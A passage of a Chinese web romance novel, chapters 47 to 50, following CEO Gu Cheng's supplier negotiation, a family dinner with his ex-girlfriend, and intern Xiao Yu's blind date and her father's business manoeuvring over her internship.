肖瑜还没回话过来,他又补了几行字:【以后出了公司不许叫我顾总,不许跟我说‘您’,不许跟我谈工作,更不要让我觉得你是在跟我谈生意。】
信息回复完毕,顾程低眉盯着手机屏幕,看到一个简单的【好】字,刚没松口气,又被下一句话给气得七窍生烟:【顾总,那您别不开心了。好吗?】
他直接拨了号过去。
肖瑜接起电话,毕恭毕敬地叫着,“顾总?”
顾程深深吸了一口气,“我刚怎么跟你说的?你不是回了‘好’吗?叫什么顾总?”
肖瑜的嗓音无辜极了,“可是顾总,我还没下班,人还在公司啊……”
顾程一拳打在棉花上,再度觉得有些气短,“到家报平安。”
“好的顾总。您还有别的事吗?”
有,想咬你,堵住你的嘴。
*
稳定合作数年的橡胶供应商,新一轮续约谈判中,居然一次性要求加价十个点,而且据说态度还十分强硬。如果不是因为有其他竞争对手从中作梗,就目前的市场情况,对方根本不可能如此有恃无恐。
原本顾程也是秉着有朋自远方来不亦悦乎的传统,打算亲自跟对方的新任代表吃个饭聊一聊,和气生财地讲讲利害,把这事儿给平稳地解决了。
可直到到了约好的酒店坐下,他的气儿也没顺下来。紧蹙的眉心,不耐的神色,光是气场和态度,就让对方的代表咽了咽嗓子,主动解释起
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加价实属无奈,毕竟各项成本都在增加,每个环节都有不同程度的费用增支。
翻译心惊胆战地把对方的困难和要求都复述了一遍,见顾程一声不吭,他只好求助地看向安祈攸。
安祈攸倒是笑了笑,很和气地说道,“跟他们说,因为他们的无理要求,顾总亲自过来这一趟,造成的损失比这十个点都多。我们考虑过他们的成本增成,也核算过,三个点是最大让步。如果他们做不了主,连线大老板直接问,毕竟顾总过来也不是为了跟他磨嘴皮子的。”
对方吴总是马来华人,普通话也听得懂,只是说得不是很利索。他闻言眉心一跳,咬着牙坚持道,“顾总,安总。我们这次过来,不仅是为了续约,也在寻求开拓市场的机会。你们的单子很稳,但增量不多,而最近跟我们接洽的另一家轮胎企业,规模比你们大,需求是你们的两倍,我们的报价他们也都很满意。在商言商,虽然我们跟华驰一向合作得很好,并不想失去一个稳定又讲信用的伙伴,但生意场上,追逐的始终是利益最大化。这两年的经济环境,十个点不算多,总要让我们也有钱赚才行。”
“你开拓你的新市场,关华驰的单什么事?”翻译话音刚落,顾程已经起了身,冷笑道,“吴总,华驰的需求逐年在增加,但同样,供应商也在逐年增加,因为我从来不把鸡蛋放进同一个篮子。两个点,没得商量。”
他又垂眼斜睨着大气不敢出的采购部老总顾松裕,不耐道,“这么没诚意,简直浪费我时间。下午三点前把他们的答复报给小安,不行就把单送给印尼。”
吴总急了,也连忙站了起来,身边那几个人也都跟着站起来,脸上神色都开始不淡定,“哎,顾总,您先别急着走。刚才安总还说三个点!”
“所以你早点问问你们大老板多好?”安祈攸笑着把顾程摁回皮椅,劝道,“顾总,吴总大老远来一趟不容易,您好歹给个机会让他讲讲缘由。咱们这么多年的关系,这要不是被人迷了眼,黄老板那儿,怎么会突然就这么没诚意了。”
顾程冷着眉看向吴总,虽然没说话,可眼神里透出的意思很直接:‘爱说不说,不说别浪费我时间’。
吴总连忙堆着满脸笑,示意身侧的人都跟着又坐了,尴尬地说道,“顾总,安总,其实……您也知道,我们做销售的,肯定是业绩为先。这次,确实是因为有一张大单,开出的条件很好,但是……”他犹豫了一下,还是无奈地说道,“但是他们有一个要求,就是我们不能继续跟华驰合作。”
他见顾程闻言似乎缓了神色,暗舒一口气,待翻译讲完,又说道,“但新单毕竟只是洽谈中,咱们合作这么久,华驰一向货款两讫,最困难的时候也没欠过账,我也实在是不想失去您的单。所以这才想着,如果价格上您能支持一下,哪怕对方的单再大,我都不会舍了您这边。”
翻译快速把话传达到位,顾程低笑一声摇摇头,转头交代了顾松裕上菜,这才看向一脸冷汗的吴总,淡淡问道,“这事儿你还没跟黄老板通过气儿吧?”
“是。”吴总连忙点头道,“事情还没谈个结果,现在就跟老板汇报不太合适。”
翻译刚开张嘴,顾程就摆摆手,“你坐着吃就行了,我听得懂。”
翻译立刻闭嘴,很幽怨地看了眼顾松裕。
一道道佳肴端上来,顾程端起酒杯,见吴总很识相地也赶紧拿了酒,他这才有了点笑意,“你新上任,又初来乍到,对泽城的情况不够了解,我当你是无意。但下次再想跟华驰讲条件之前,先问问你们老板。他同意了,你再张嘴。”
这话听着像是松了口,可实则毫不客气。吴总也是个精明人,登时听出了里面的道道,神色间越发有几分诚惶诚恐,“顾总,还请您详细指点。”
一杯酒尽,顾程靠回椅背,漫不经心地笑了笑,“想开拓市场,不要总是关注轮胎这一个行业,商用医用日用,橡胶的下游市场很大。如果能继续愉快合作,我不介意帮你牵牵线,介绍一些感兴趣的企业。可你们的货出口过来,方方面面很多个环节都是能人为作用的,真要是把华驰如今最大的资方得罪了,别说新市场,让你们彻底失去泽城,东省,甚至整个国内市场,也不是多难的事。”
“华驰最大的资方?”吴总面色一白,小心翼翼地问,“您是指……”
顾程指指自己的脸,“我姓什么?”
48. 第 48 章
第四十八章
吴总吞了下口水,擦了擦额角的汗,“顾总开玩笑了,您姓顾啊。”
安祈攸给顾程满上酒,噙着笑看向吴总,“就说您肯定是不知情,才会被忽悠了。吴总,做决定前,先打听打听顾氏的商业版图。来,三点前您还有时间,咱先和和气气把这酒给喝了。”
*
顾程只喝了三杯开场酒,倒是那个吴总,在身边小跟班快速收集完顾氏产业集团的信息后,一杯杯自罚,把自己给整了个烂醉。别说下午三点,当场就拉着顾松裕要签约,只要两个点,还是千恩万谢,求着华驰这边千万别把这事儿告诉远在马来的大老板。
眼瞅着吴总被自己的人架着在前面走,时不时还非要折腾着转过身来朝顾程双手合十拜一拜,终待几个人坐了车离开,安祈攸才憋着笑说道,“舒服了?你今儿这脾气来得挺是时候,也省得多费口舌了。”
顾程很淡地扫了他一眼,“新鲜吗?原本就是红白脸。”
“以前也没见你拿集团出来唬人。”安祈攸不以为然地说道,“你不是挺想把华驰跟集团分开的吗,连注资都是私债。”
提到这茬,顾程觉得心里那股子郁气又有点压不住,“这些外来的,一个比一个会气人。”
安祈攸立刻敏感地问道,“这些外来的?怪不得今天气性这么大,还有哪个外来的惹着你了?”
“不想提,提起来就闹心。”顾程上了车,低头看眼表,“今天下午你不用在这边陪我,把车开走。下了班帮我送一下肖瑜。”
“要准备点礼物吗?”安祈攸点点头,一边开车,一边很随意地说道,“肖总这个人平时没有什么特别的爱好,从肖瑜和肖夫人这儿入手比较合适。”
顾程的眉心一下皱了起来,“我让你送我女朋友,关肖总什么事?”
安祈攸从后视镜看他一眼,莫名其妙,“你女朋友不就是肖总的宝贝千金吗?这么好的机会,你作为未来女婿,不顺便表示一下?”
顾程伸手捏了捏眉心,气息再度开始不顺畅,“你也以为我对她另有所图?”
安祈攸好笑地回头看他一眼,“难道一开始你没有?”
顾程深深看他一眼,“安祈攸,我想送你去非洲。”
*
燕北北他们并没有赶在午餐前回来,而是被堵在了因车祸封停的高速上。
而肖瑜也没有等到下班,刚过四点就接到了司机王叔的电话,她跟赵姐交代了一声,自然是没什么障碍地就提前离开了公司。
所以当安祈攸带了礼物赶回公司的时候,肖瑜的工位早已人去座空。
*
来接肖瑜的是王伯仲,肖远舟的专职司机,肖瑜跟他熟得很。可当王叔帮她拉开后车门时,看着后座上那正低头抠手机的男人,肖瑜吃惊地愣在了原地。
“这是小简,简承贤,你爸一个朋友的儿子,搭个顺风车。”王叔瞅眼里头那个没一点眼力价的男孩子,皱了皱眉,“小简,这位就是肖总的千金,肖瑜。”
年纪轻轻,不懂礼数,就这样的男人,除了长得周正,真是没一点能配上肖总家这乖宝贝的。王伯仲从来没质疑过肖远舟的任何决定,可他认为肖总这挑女婿的眼光,可真是有点水。
简承贤闻声终于抬起了头,白白净净,五官柔和,看起来脾气很孬的样子,甚至在看向肖瑜时,眼中还透出几分拘谨。他往一边挪了挪,这才有点勉强地扯了下唇角,说道,“你好。”
肖瑜有点为难地看了看王叔,见他很是无奈地朝自己耸了下肩,她点点头,说了句‘你好’,靠着边,也坐了进去。
还没回舟城,相亲就安排上了。所以爸爸妈妈,是真的不打算多留她几年了。
*
两座城之间,只有两个小时的车程。
以往跟姜昊一起回家时,不管是私家车还是高铁,肖瑜要么喜笑颜开拉着他一直说话,要么假装睡觉靠他怀里,再偷偷找机会抱一下他,总是开心得不得了,只嫌时间过得太快。可这一回,她不仅得在三个人沉默的呼吸声中,尴尬地拿手拧麻花,还得强撑着精神不能让自己犯困,以免一不小心会歪倒在陌生人身边。
终于路上王伯仲要去休息站上厕所,肖瑜才长长舒了口气,跟他一起下了车。
“这小子不行,不合适。”刚下车,王伯仲就一阵吐槽,“我去接他那会儿,一个大老爷们,扭扭捏捏地走路夹个腿,也不说自己拿行李,还真把我当自家司机使唤了。除了点个头,至今我就听他说过‘你好’这俩字。不行,回去我得跟肖总汇报一下,这三棍子闷不出一个屁的玩意儿,绝对配不上咱们小鱼儿。”
粗犷豪放的吐槽,把肖瑜逗得直笑,点着头问道,“王叔,我去买饮料,你想喝点什么?”
“你看看,你看看,这小子跟你真是没法比。”王伯仲摇头摇得脖子疼,摆摆手道,“我不喝了,待会儿一路不带停,赶紧把他给送走。”
肖瑜买了两罐咖啡,又买了两包爆米花,上车递过去的时候,那个简承贤看到她手中的东西,很不自在地又往一边挪了挪,摇摇头,缩着肩膀皱着眉,很是抗拒,“谢谢,我不喜欢零食。”
“我有男朋友了。”趁王伯仲还没回来,肖瑜很直接地跟简承贤说道,“只是暂时不方便让家里人知道。回去后,我会跟他们说我没看上你,你也这么说就可以。”
简承贤十分吃惊地看着她,继而终于长舒一口气,整个人一下子舒展开来,松垮垮靠在了座椅上,像滩泥,“你早说啊……装的我累死了。”
肖瑜也十分吃惊地看着他。
好半天,两个人才相视一笑。
简承贤接过她手上的咖啡和爆米花,仰头大灌了一口,笑得痞痞的,跟刚才那个紧张又拘谨的男人简直判若两人,“为什么不方便告诉家里?你男朋友家世不好?”
看到他此刻的笑容,肖瑜总算有点明白,父母为何会选择他作为相亲对象。只是如今再见到跟姜昊神似的,她也最多多看两眼,心里那种难舍又想亲近的悸动,早已不像他刚刚离开时那么强烈。
她摇了下头,有点无奈地笑道,“不是家世的原因,就是,觉得还没到时候。你呢,你也有女朋友了吗?”
“我不想回舟城,所以我爸妈想给我找个老家的老婆,逼我回家。”简承贤皱着眉,很郁闷地说道,“他们不喜欢我现在的工作,一直逼我回去。我就纳了闷了,我收入也不低,做的还是自己喜欢的事,怎么就非得回去了,又不是家里有皇位要继承。”
“所以你现在也在泽城工作吗?”肖瑜一听,很好奇地问道,“你是做什么的?为什么他们不喜欢你的工作?你的工作不正经吗?”
“……”简承贤很嫌弃地看了她一眼,“我在一家游戏公司搞开发,你说正经不正
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经?”
“那应该是叔叔阿姨不太理解吧。”肖瑜倒是不在意他的挤兑,很认真地帮他分析道,“就连很多年轻人也还是认为,游戏开发就是玩游戏,算不得正经职业,不稳定也不长远。有机会你邀请他们去你工作的地方感受一下,说不定就改变看法了呢?”
简承贤闻言眼眸一亮,看向她的目光有些意外。可他张嘴正要再说什么,余光看到王伯仲拧着眉正往这边走,他连忙拿出手机朝肖瑜暗戳戳晃了晃。
肖瑜愣了一下,继而心领神会地朝他点了下头,俩人做贼一样快速添加了微信。待王伯仲上了车后,只见他们一边一个紧挨着各自的车门低头抠手机,看起来都是一副不想搭理对方的样子,中间恨不得隔座山。
王伯仲嫌弃地看了眼简承贤,又转头叹息着看了眼肖瑜,回过头来点着了火,很丝滑地把车开出了休息站。
简承贤的微信名叫【K】,配的图是简单的黑底白字【A-Z】,有点酷。
接下来这一路,王叔把车开得飞快,简直是在炫车技。车子里还是沉默一片,可后排俩个年轻人的手指在手机键盘上不停敲击,打字打得热火朝天。
*
进了舟城先送简承贤回家。到了他住的小区门口停下车,简承贤依旧跟王伯仲说的那样,没一点眼力价,下车站在一旁扭扭捏捏地把两手握在一处,两只脚还交叉着站,把王叔给恶心的,行李箱拿出来往他身边一放,闷声说道,“走好。”
简承贤连个谢谢都没有,羞答答点了点头,说了声‘嗯’。一八二的大高个哼唧唧的,硬生生把王伯仲膈应地浑身汗毛直立。
“什么玩意儿。”上了车,王伯仲终于彻底开启吐槽模式,恨得咬牙,“小鱼儿,叔跟你说,你可不能因为他长得像个人,就真把他当个人了。你瞅瞅,这哪儿有个男人的样?他爸我也见过,大高个,五十多了身板还跟站军姿似的,器宇轩昂,没想到家里居然会养出这么个玩意儿来。”
肖瑜忍不住笑出了声,一边劝着王叔别生气,一边给简承贤打字道:【你可真有表演天赋,王叔简直嫌弃你嫌弃到不行,他一定也会帮我们挡着的。谢谢合作,周末愉快。】
简承贤没有回复,肖瑜也没再看他的微信,倒是很乖地点开顾程的微信,准备跟他说一声自己安全到了家。可刚打了‘顾总’两个字,想起他那一连串的‘不许’,她想了又想,才红着脸发了个信息过去:【亲爱的,我马上到家了。】
虽然吃早茶的时候,她的初衷是把话提前讲明,避免随后出现不必要的争执,可后来回到公司再想想,作为一个华驰的员工,实在也没必要把自己摘那么清。
那么多轮胎企业,爸爸会选择顾程的公司让她实习,多少也是对华驰有点兴趣,她和他的私人情感应该对合不合作没有什么影响。随后再看到他一连串信息,要她把私人关系和工作分个一清二楚,肖瑜再迟钝,也知道她的话让他有些不高兴了,甚至很可能伤了他的自尊。
所以……她在有意哄他,用自己丰富的理论知识,很认真地在哄自己的男朋友。
*
彼时顾程已经带着司机接了秦舒曼,跟顾菲和顾老爷子前后脚到家。
顾母程岚看到妆容清雅、甚至衣着首饰都保守许多的秦舒曼,又瞥一眼在后边提着大挎包进来的顾程,眉眼之间都是笑意,“舒曼这次回来,是真的不打算走了?”
49. 第 49 章
第四十九章
“是的阿姨。”秦舒曼也抿唇笑着,十分亲热地挽起程岚的手臂,把头往她肩上靠,“上次见着,刚好是最忙的时候,也没多陪陪您,以后机会就多了。”
她比程岚高了小半头,可这样故意小鸟依人的样子因为微曲过的双膝,倒并不显得僵硬做作。
程岚又看一眼顾程,抿唇笑道,“舒曼这个个头啊,将来谁娶了都是福气,生男生女都矮不了。饭菜都准备好了,来,去洗洗手都坐吧。”
顾菲在旁听得有些心惊,见她哥闻言也没个反应,心底更是一沉,有几分不怎么自在地又看了看秦舒曼。
以往见她,耳坠是惹眼的大挂环,唇色也热烈性感,不管手镯还是戒指,全部都是很适合她个性的奔放系。可今晚来家里吃饭,秦舒曼不仅换上了婉约的珍珠耳环,穿的也是知性优雅系长裙,连面上的妆容都十分收敛地色调清淡,看起来……怎么有点像是来见公婆的?!
顾菲这么想着,不禁就埋怨地看向了顾程。
顾程刚放下装满礼物的挎包,捕捉到妹妹怨愤的目光,他眉心一蹙还没开口去问,专门贴身放在裤兜里的手机震了震,他拿起来一看,略微的惊讶过后,唇角的笑意直接上了眉梢。
顾菲还是幽怨地瞪着他。
顾程浅浅扫她一眼,拨出电话挂上耳机,去洗手。
顾菲见他去的是二楼,连忙跟上,不多时就听见他哥低笑着说道,“嗯什么嗯?光打字不行,叫出来我听听。”
渣男!女朋友刚回老家,就带了前女友回家,还在电话里跟别的女人发.浪撩骚!怪不得都说霸总没一个好东西,怎么以前她的亲哥滤镜这么重!
“还在车上?”顾程在前方的声音压低了一些,可还是能清晰落入顾菲的耳朵,“累不累?小安说你四点多就走了,本来准备了礼物要他带给你,等你回来看看喜不喜欢。”
四点多?顾菲转了转眼珠,突然又觉得她哥是绝世好男人了。四点多回家,那不就是肖瑜吗?
“在我车上?车今天小安开回去了,不会丢的。”顾程进到洗手间,见身后的小尾巴也跟了进来,转头问,“你有事要跟肖瑜说?”
“没啊。”顾菲连忙摇头。
顾程抬手就把她一推,关上了门,“去别处,我上厕所。”
那边肖瑜听他这么一说,再听到手机里传来的哗哗流水声,脸烧的不行,瞅一眼前方专心开车的王伯仲,小声说道,“你……我等方便了打给你,你先忙。”
“洗手去吃饭,不忙。”顾程洗完手,靠在水池边慢吞吞解开领下的扣子,锁骨旁那暗红的小草莓若隐若现,“你晚上是一个人睡吗?”
“嗯。”肖瑜顾忌王伯仲,听筒声音放的很小,回话的时候,也跟做贼传暗号一样,能少说就少说。
顾程想到她红着脸,偷偷摸摸睁着大眼睛、手足无措的样子,低声笑道,“睡前跟我视个频,我想看看你的卧室长什么样。”
“你会笑话我……”肖瑜又瞄了眼王叔,拿手捂着手机悄声说,“我真的快到家了,都能看到妈妈在门口等我了。晚上几点方便打给你呀?”
“九点半之后都可以。”顾程听到她提起穆青华,下意识就站直了,快速说道,“周日早点回来。”
“嗯。”
*
洗手间出来,就见顾菲在走廊上徘徊。顾程朝她招招手,一边往楼下走,一边问,“有事?刚才干吗瞪我?”
“我没瞪你,做大眼操呢。”顾菲转转眼珠,悄声问,“哥,舒曼姐是不是想跟你复合啊?”
“不想。”顾程轻飘飘看她一眼,“我不想。”
顾菲松了口气,可还是不怎么确定地说道,“那你也不解释一下,我瞅着妈都误会了。”
“妈脸上藏不住事。”顾程放慢了脚步,淡淡说道,“舒曼今天专门过来看他们,要是上来就给冷落了,总归不太好。”
“那要是妈有意撮合你们呢?”顾菲皱眉道,“你现在是有女朋友的人了,要守男德知道吗?前女友带回家本来就是大忌,你还这么在乎她的感受,我听着都来气。我跟你说,待会儿你要是敢跟她眉来眼去的,我一定会告诉小鱼儿。”
顾程瞥她一眼,还没说话,顾菲硬着脖子又说,“又要经济制裁是吧?我就是吃土,也不会帮渣男打掩护的。”
“硬气。”顾程点了下头,很欣赏地提着脖子把她揪过来,在她额头上爆了个栗子,“不愧是我妹妹。心情好,再给你解张卡。”
“……”顾菲揉了揉脑门儿,有点摸不着头脑,“骂你渣男心情好?喜欢听我多骂。”
“跟你没关系。”顾程抬了下眉,低声笑道,“她叫我亲爱的。”
*
直到入了席,顾菲才反应过来顾程口中的‘她’是谁。
我的哥,原来你是这么纯情易推倒的!
接下来再看顾程跟秦舒曼间的互动,顾菲的态度中立了不少。她发现她哥男德真的还不错,专门坐在她和老爸中间,没给前女友夹过菜,也没招呼过前女友喝酒,老爸老妈问起秦舒曼回国后的打算时,他也只听不插嘴。反而是自己妈妈热情地有点过分,一副招待未来儿媳的模样,笑语晏晏,话里话外不时提及别人家的孙子多可爱,自己多喜欢,听得顾菲尴尬症都快犯了。
终于程岚说了半天,见秦舒曼只是客气地拿场面话应付,而顾程一直都没接腔,连自家老公也不知道跟着催一下,她叹了口气,埋怨地看着顾程问道,“儿子,你当妈催你结婚只是为了抱孙子啊?你都快三十了,身边一天天也没个知冷知热的,都不觉得自个儿可怜吗?”
“怎么没有。”顾程低笑一声,故意说,“小安不是挺知冷知热的?”
“那能一样吗。”程岚一听就急了,看了眼也在轻笑的秦舒曼,不悦地说道,“再说女人过了三十再生育,对身体也不好,恢复慢得很。”
顾程见母亲越说越离谱,笑着劝道,“行了妈,本来打算给您个惊喜的,可你这再说下去,舒曼都要被你闹得不好意思了。儿媳妇已经给您找好了,不挑食,好生养,下周就带回来让您见见。”
“找好了?”程岚愣了一下,疑惑地又看了看依旧淡淡
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笑着的秦舒曼,完全无法理解,“谁啊?”
“是阿程公司的实习生,昨天给我接风的时候见过,很听话的一个小姑娘。”秦舒曼迎着她惊讶的目光,笑道,“阿姨,您见了会喜欢的,看起来很乖,年纪也小,很合阿程的意。”
顾程也笑了笑,没再接话。
程岚看他一眼,满心疑问又不好当着秦舒曼的面细问,扯了下唇角,给她夹了些菜,“阿姨不是说你年纪大,女人过了三十再生孩子,确实对自己的身体也不好,我是心疼你。那你……”她顿了下,又看了眼自己的儿子,才轻笑道,“你跟阿程交好这么多年,是阿姨想多了……可别往心里去啊。”
“您太客气了。”秦舒曼笑着看了眼顾程,毫不介怀的样子,“阿程一直都在利用我挡桃花呢,阿姨您会误会一点都不奇怪。”
顾程笑着看她一眼,抬了下眉,“这说的以后不给你介绍点资源,好像很对不起你。”
“难道不是?”秦舒曼也挑了下眉,两人的表情竟有几分神似,“叔叔阿姨面前,你就别装了。”
顾程低笑着摇了摇头,又看向母亲,“妈,下周柳姨的生日宴,您带舒曼一起去吧?她刚接管国内的业务,多认识点人更有底气。”
程岚一直探究地看着他俩,闻言犹豫了一下,还是笑着点了头,“行。前段时间菲菲闹出那事儿,我实在也不好意思带她去。可你真处女朋友了?”
“下周带回来。”顾程扯开领口,指指锁骨处那一抹红,“真没骗您,都盖过章了。”
*
安排了司机送秦舒曼回酒店,顾连峰跟顾程便在客厅看着电视说起了话,程岚原本想拉着儿子问问未来儿媳妇的事儿,可见爷俩儿似乎在聊正事,倒也没急在一时。顾菲则吃了饭就回了自己房间,拿出手机,尽职尽责地在三人群里,跟肖瑜汇报哥哥男德楷模的言行。
只是肖瑜此刻并没有时间翻手机,因为肖母穆青华在饭后,也正拉着闺女询问她对简承贤的印象。
提起简承贤影帝级的表演,肖瑜就忍不住想笑,她窝在穆青华怀里,撒着娇道,“妈妈,我知道你和爸爸是怕我还想着姜昊。不过简承贤跟我不合适,我不喜欢他,没眼缘。”
“不喜欢啊?”穆青华有点失望,“原本想着小简一时半会儿还不打算回来,在泽城能陪着照顾照顾你,处上了再回来挺合适。你要不喜欢的话,那明天去见见我上次跟你提的那个海归吧?其实我不太喜欢国外回来的孩子,你哥哥说啊,现在的留学生在外边都乱得很。不过这孩子我见过,长得挺乖,他爸妈人也不错。”
“还要见啊?”肖瑜嘟了嘴,抱着她的腰嘟囔,“妈,我还小呢,你就这么着急把我嫁出去吗?”
“妈可舍不得你这么早嫁人。”穆青华搂着她轻拍着笑道,“不过好对象都得早点定,不然都给挑剩下了。等你遇着合适的,先订婚,二十五六再考虑结婚,我可不想乖宝那么早就受生孩子的罪。”
“妈妈,先等我毕业吧,我……”肖瑜还想再说什么,肖远舟却朝她招了招手,“乖宝快过来,你们华驰的专访。”
50. 第 50 章
第五十章
“专访?”肖瑜眼眸一亮,想起那日在南区远远见到的一大堆记者,连忙拉着穆青华走了过去,指着电视开心地说道,“真的是!爸爸妈妈,那天我也去了呢,不过……”
她想起也是在那日跟顾程正式成为恋人,咬了下唇,笑道,“我就是远远看了看,也不知道什么内容,讲什么的?企业文化吗?”
“转型。”肖远舟一边喝茶,一边认真地看着,跟她解释道,“当年华驰的老总就是因为太心急,一味扩充产线,反而失了最初卡客车胎的专精。顾程接手这几年,倒是很有壮士断腕的魄力,私家车市场逐步在取消,目标定位也很清晰,不管是技术还是人才,卡客车领域的专项定位倒是都给追回来了。如今更是严格按照国际标准,舍得追加智能投入,对政策的把握也很准,的确只差一个机会。”
电视屏幕上,是近年来华驰各个厂区新旧对比,还有工人们热情洋溢的笑脸,埋头苦干的身影,智能化生产线的繁忙运行。
镜头落在顾程专注倾听主持人问话的侧脸上,肖瑜挽住穆青华的胳膊,悄声问她,“妈妈,你对我们顾总印象怎么样?上次北北跟我说,公司好多女孩子都觉得他特别成熟稳重。”
“嗯。挺好,年轻有为。”穆青华很赞许地点着头,笑道,“之前车协的活动上见过一次,个子高高的,看起来的确挺稳重的样子。听说个人修养也不错,含着金钥匙出生,倒是没有有些富家子纨绔的作风。”
肖瑜弯了眼眸,还想再问,却看到电视里的顾程思索着抬眸,认真地说道,“中/国品牌早就已经深入国际市场,但很多时候,仍然难脱低价低质的标签。这不是一家公司的问题,也不是一个行业的问题,需要的是所有有志之士共同努力,合作同心。
“我从陈总手中接过华驰,接过的也是他临终前想要让中/国轮胎品牌,助力国内车企,共同提升中/国品牌在国际市场影响力的心愿。一个人的生命是有限的,但品牌的力量是无限的,目前华驰已经正在接触一个强有力的载体,一个同样有雄心壮志的合作伙伴。相信我们的合作不会太远,因为我们的目标和追求都是一致的。”
“哈,挺自信。”
肖瑜正听得激情澎湃,冷不防父亲在耳畔大笑一声,一下子把她的视线从屏幕上拉了过来,她忍不住好奇道,“爸爸,顾总你们已经在接触了啊?那您怎么想的?”
“目前还只是业务部门之间在拉扯,彼此试探的阶段。”肖远舟摇着头笑了笑,“如果只是华驰,可能性很低,但加上顾氏的实力,的确可以考虑。但这小子精得很,到现在还不肯把背后的顾氏拉下场。一个起死回生才四五年的华驰,如果攀上了远洲,那绝对是一本万利的好生意。所以我现在还不打算见他,得让他花花血本再说。可你看他,这专访一看就是专门造势的。民族大义往这儿一放,我要是不给他一个机会,跟汉奸似的。这臭小子,挺会玩。”
“啊?”不过一个宣传企业的专访,居然也是谈判的筹码之一。肖瑜恍然大悟后,有点不怎么相信地问道,“也不一定吧?可能顾总就是单纯地想给华驰做个宣传呢?”
“宣传给谁看?他又不是搞私家车面向大众的,还专门在我周五必看的省际财经频道,当然是给我看的。”肖远舟拉起女儿的手拍了拍,笑道,“我听说你们公司都在传你跟他处朋友?是不是现在没人再敢给你气受了?”
“哦。嗯。”肖瑜脸一热,目光闪烁地嗫嚅道,“连这些传言您都知道啊?”
“你一个人在那儿,不找人多打听着,爸妈不放心。”陈嫂端来热好的牛奶,穆青华接了递给宝贝闺女,也笑道,“流言而已,不用当回事,没人再敢惹你就行。当初我就是怕那些狗眼看人低的,欺负你乖。如今他有意无意对你特别点,别说你那个孕妇师傅,就是放眼泽城,估计也没谁再敢随便去招你。挺好,省心。哎,对了……”
穆青华说着,突然想起什么似的,伸手捏了下肖远舟的胳膊,“反正现在也知道这层关系了,你直接让人跟顾程说说,让乖宝回来在家歇着,到时候开个实习证明不就行了。”
肖瑜一口奶憋在嘴里,想张口拒绝,无奈奶还没咽下去,咽得太急偏又呛得不住咳嗽,慌得穆青华连忙伸手给她顺背。
而肖远舟看着还跟小孩子一样连喝奶都会呛到的闺女,心疼地点着头,拿出手机就拨了个号,“小周,你跟华驰的安祈攸联系一下,肖瑜下周不去实习了,直接在家里等实习证明。”
*
“不来了?”
顾程刚跟父亲一起看完电视上的专访,母上大人正拉了他问女朋友的事儿,话才刚起个头,就接到安祈攸的电话。他本就十分诧异,听完后眉心登时就拧成了团,“谁的意思?肖瑜自己还是肖远舟?”
“呵。”一听是远洲的业务总监通知的,顾程轻嗤一声,笑道,“你跟他说,不行。契约精神懂吗?如果是肖瑜自己不想来,下周亲自来公司走正规手续,实习证明想都别想,我还要给他们学校发封信,问问这种学生到底是怎么教育出来的。如果是肖远舟的意思,你让周总问问他,以什么身份跟我说这话。如果是肖瑜的父亲,照样得走流程。如果是远洲的老总,那这个人情可有点大,得他跟我面谈才行。”
放下电话,顾程瞅一眼盯着他等回话的母亲,揉着眉心叹了口气,“有点麻烦。您这个儿媳妇还不是很稳,她爸是个老狐狸,好好的,突然就不让她来实习了。”
“你说的是在你楼下住的那个小姑娘?远洲老总的闺女?”程岚在旁听这半天,心里也有了数,悬了一晚上的心,也终于落了地。她佯怒地朝儿子胳膊上打了一下,才道,“刚才听舒曼说是你公司的实习生,我还以为是个别有用心的小姑娘。你也是的,既然都处了正经女朋友,也不提前知会我一声,你瞅瞅刚才,差点就不好收场了。”
“都跟您说了我们只是朋友。”顾程笑了笑,给她捏着肩道,“您也知道舒曼家里的情况。相识多年,当初也是和平分手,朋友的情分一直都在。如今她既然有心回国发展,能帮,多少还是帮一点,也不枉大家同学一场。”
“那肖家那姑娘……叫什么来着?”
“肖瑜。”
“对,肖瑜。”程岚思忖着道,“听你说,这姑娘性格挺好。可再好的脾气,你跟舒曼到底处过朋友,日后还是注意分寸,别再往家里带了,让人知道了心里不舒服。”
“知道了妈。”顾程瞥一眼静悄悄的手机,抬了下眉,“待会儿她跟我视频,要不您也跟她聊两句?”
程岚愣了下,连忙伸手整理一下鬓角,起身摆了摆手,“别的,还是等带回家了妈再好好招呼人家。那什么,你提前两
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天跟我说,我好去做个造型。第一印象很重要,别让人觉得我这婆婆不好处。肖瑜喜欢吃什么菜?我让王嫂好好学学,小姑娘头回来家里,得周到点。”
“呵,有鱼就行,我瞧着她比较爱吃。”顾程在她肩上拍了拍,笑道,“不过小姑娘真的不挑,乖得很,您一定会喜欢的。再说您这么好的婆婆,打着灯笼都难找,别担心。”
“就会糊弄我。”程岚嗔他一眼,目光扫到他微敞的领口,想了一下,还是叮嘱道,“那姑娘比你妹妹还小吧?你得知道疼人,结婚前别太折腾人家,好不容易看上一个,可别给人吓跑了。”
顾程轻咳一声,点头,“知道了。”
手机很合时宜地又响了起来,他一看是安祈攸,胸有成竹地笑着接起来,“老狐狸拒绝了?”
时机未到。他就那么一说,也不相信肖远舟真就会因为这点小事跟他见面,无非推推太极而已。
“他要亲自面谈?!”
程岚被儿子突然提高的音量惊了一下,只见顾程放下电话起了身,咬牙切齿地深呼吸好几次,才扯起一丝笑对她道,“妈,您先休息,公司有点事,我得想想。儿媳妇跑不了,我一定把她给您带回来。”
*
肖远舟跟下属之间的通话,你来我往并未耗时太久。
肖瑜跟妈妈一起在侧听着,起初她还在想,要如何在不让父母起疑的情况下,坚持回去实习。可当听到顾程那边说,只要父亲肯面谈就同意,而爸爸也答应了见面后,一丝失望还是让她心里起了涩意。
这就是现实,掺杂着世俗的感情。脆弱得,连那丝喜欢刚起了个头,就轻易可以被割舍斩断。
“小狐狸,想挟天子以令诸侯。我才不给他这个机会。”肖远舟低笑着放了电话,跟穆青华说道,“碰巧我也在想,要找个什么机会,不那么正式地跟他接触一下。哈,瞌睡就来送枕头,我倒要看看他准备怎么跟我谈。”
“乖宝啊,你怎么了?”穆青华瞅着闺女喝过牛奶就心情不太好的样子,关切地问道,“你不想待家里啊?”
“不是。”肖瑜挤出一个笑,靠在她身上闭上眼,“可能坐车有点累,想睡觉了。”
“晚上妈妈陪你睡。”穆青华揉揉她的背脊,把她拉起来,“上次给你量身做好的裤子都拿回来了,睡前刚好都试试。”
“嗯。”
*
这晚顾程并没等到肖瑜的视频,甚至连个信息都没有。他发了微信问,而她也只是回了句:‘妈妈跟我睡,不方便。’
敷衍又抗拒的态度,好像下午叫他‘亲爱的’那人,不是她。
顾程看着那短短一行字,心知她是误会了。可这根本不是三两句话就能解释清楚的,何况如今摆在眼前的事实就是,他同意了肖瑜不用再回泽城,以此换取了跟肖远舟面见的机会。
